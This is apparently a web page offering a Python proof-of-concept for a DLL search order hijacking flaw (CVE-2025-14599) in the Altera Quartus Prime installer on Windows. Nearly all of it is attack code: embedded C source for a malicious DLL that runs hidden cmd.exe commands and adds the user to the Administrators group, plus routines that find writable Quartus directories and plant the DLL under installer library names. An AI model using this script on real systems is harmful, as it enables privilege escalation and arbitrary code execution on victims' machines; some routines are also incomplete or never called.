CVE-2025-14599: Altera Quartus Prime Installer DLL搜索顺序劫持漏洞

# CVE-2025-14599 DLL Search Order Hijacking PoC # Target: Altera Quartus Prime Installer (SFX) on Windows # Affected Versions: Quartus Prime Standard/Lite 23.1-24.1 import os import shutil import ctypes from ctypes import wintypes # Malicious DLL source code - compiles to malicious.dll MALICIOUS_DLL_SOURCE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create reverse shell or execute payload WinExec("cmd.exe /c whoami > C:\\\\Temp\\\\pwned.txt", SW_HIDE); // Alternative: Add current user to Administrators group system("net localgroup Administrators %USERNAME% /add"); } return TRUE; } ''' def create_malicious_dll(output_path): """Generate malicious DLL for DLL hijacking""" with open(output_path, 'w') as f: f.write(MALICIOUS_DLL_SOURCE) print(f"[+] Malicious DLL source written to {output_path}") print("[*] Compile with: gcc -shared -o malicious.dll malicious.c") def place_dll_in_search_path(dll_path, target_dir): """Place malicious DLL in installation directory""" # Common DLLs loaded by Quartus installer common_dlls = [' QuartusInstaller.dll', 'altera_installer.dll', 'Qt5Core.dll'] for dll_name in common_dlls: target_path = os.path.join(target_dir, dll_name) try: shutil.copy2(dll_path, target_path) print(f"[+] Placed DLL as {target_path}") return True except Exception as e: print(f"[-] Failed to place {dll_name}: {e}") return False def check_vulnerability(target_dir): """Check if target directory is writable""" test_file = os.path.join(target_dir, '.write_test') try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) return True except: return False def main(): print("=" * 60) print("CVE-2025-14599 DLL Search Order Hijacking PoC") print("Target: Altera Quartus Prime Installer") print("=" * 60) # Step 1: Generate malicious DLL dll_source = 'malicious_dll.c' create_malicious_dll(dll_source) # Step 2: Identify Quartus installation directory quartus_paths = [ r'C:\Program Files\Intel\Quartus Prime', r'C:\intel\quartus', os.path.expanduser('~\\AppData\\Local\\Programs\\QuartusPrime') ] target_dir = None for path in quartus_paths: if os.path.exists(path) and check_vulnerability(path): target_dir = path print(f"[+] Found writable Quartus directory: {target_dir}") break if not target_dir: print("[-] No writable Quartus directory found") print("[*] Wait for user to run installer, then place DLL in temp directory") return # Step 3: Place malicious DLL print("[*] Place compiled malicious.dll in installation search path") print("[*] When installer runs, it will load our malicious DLL") if __name__ == '__main__': main()